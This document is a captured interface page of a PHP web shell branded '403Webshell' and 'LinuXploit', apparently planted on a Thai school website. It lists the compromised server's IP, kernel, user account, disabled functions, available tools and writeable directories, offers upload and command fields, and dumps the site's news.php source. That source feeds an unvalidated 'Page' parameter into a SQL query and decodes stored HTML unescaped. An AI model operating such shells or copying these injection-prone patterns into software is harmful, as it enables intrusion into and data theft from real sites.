403Webshell
Server IP : 27.254.96.235  /  Your IP : 216.73.216.44
Web Server : Apache/2
System : Linux cs95 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : piboonsa ( 1055)
PHP Version : 8.0.30
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/piboonsa/domains/piboonsawasdee.ac.th/public_html/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/piboonsa/domains/piboonsawasdee.ac.th/public_html/news.php
<?php 
	include("dbconfig/config.php");
	include("script/page.inc.php");
?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<?php include("title.inc.php");?>
</head>

<body>
	<?php include("head.inc.php");?>
    <div class="cover">
    	<div class="detail"><br>
        	<h1><img src="images/topic-news.jpg"> ข่าวสารประชาสัมพันธ์</h1>
            <?php 
				$query = $db->query("SELECT * FROM news WHERE status = 'yes' ORDER BY id DESC");
					$Num_Rows = $db->getcountrow($query);
					if($Num_Rows == 0){
						echo '<p align="center" style="height:9em; padding-top:6em;">ไม่พบข้อมูล</p>';
					}else{
						$Per_Page = 30;   // Per Page
							
						$Page = $_GET["Page"];
						if(!$_GET["Page"]){
							$Page=1;
						}
						
						$Prev_Page = $Page-1;
						$Next_Page = $Page+1;
						
						$Page_Start = (($Per_Page*$Page)-$Per_Page);
						if($Num_Rows<=$Per_Page){
							$Num_Pages =1;
						}
						else if(($Num_Rows % $Per_Page)==0){
							$Num_Pages =($Num_Rows/$Per_Page) ;
						}
						else{
							$Num_Pages =($Num_Rows/$Per_Page)+1;
							$Num_Pages = (int)$Num_Pages;
						}
						
						$query = $db->query("SELECT * FROM news WHERE status = 'yes' ORDER BY id DESC LIMIT $Page_Start , $Per_Page");
						$i = 0;
						while($rs = $db->getresult($query)){
							if($i == 0){
								echo '<div class="row">';
							}
							if($rs['img']){
								$img = IMG_IN.$rs['img'];
							}else{
								$img = IMG_DEF;
							}
							echo '<div class="col3">
									<img src="'.$img.'">
									<div class="pink">'.htmlspecialchars_decode($rs['subject'], ENT_QUOTES).'</div>
									<div>'.htmlspecialchars_decode($rs['txt_intro'], ENT_QUOTES).'</div>
									<p><span class="btngray pink"><a href="news_detail.php?id='.$rs['id'].'">+อ่านต่อ+</a></span></p>
								</div>';
							$i++;
							$row = $i;
							if($i == 3){
								echo '</div>';
								$i = 0;
							}
						}
						if($row < 3){
							echo '</div>';
						}
						echo '</div>';
					}
			?>
            <br>
            <div align="center">
            <?php 
                if($Num_Rows != 0){
                $pages = new Paginator;
                $pages->items_total = $Num_Rows;
                $pages->mid_range = 10;
                $pages->current_page = $Page;
                $pages->default_ipp = $Per_Page;
                $pages->url_next = $_SERVER["PHP_SELF"]."?id=".$id."&Page=";
                
                $pages->paginate();
                echo '<ul class="pagination">'.
                        $pages->display_pages().
                     '</ul>';
            }
            ?>
            </div>
        </div>
    </div>
    <?php include("foot.inc.php");?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit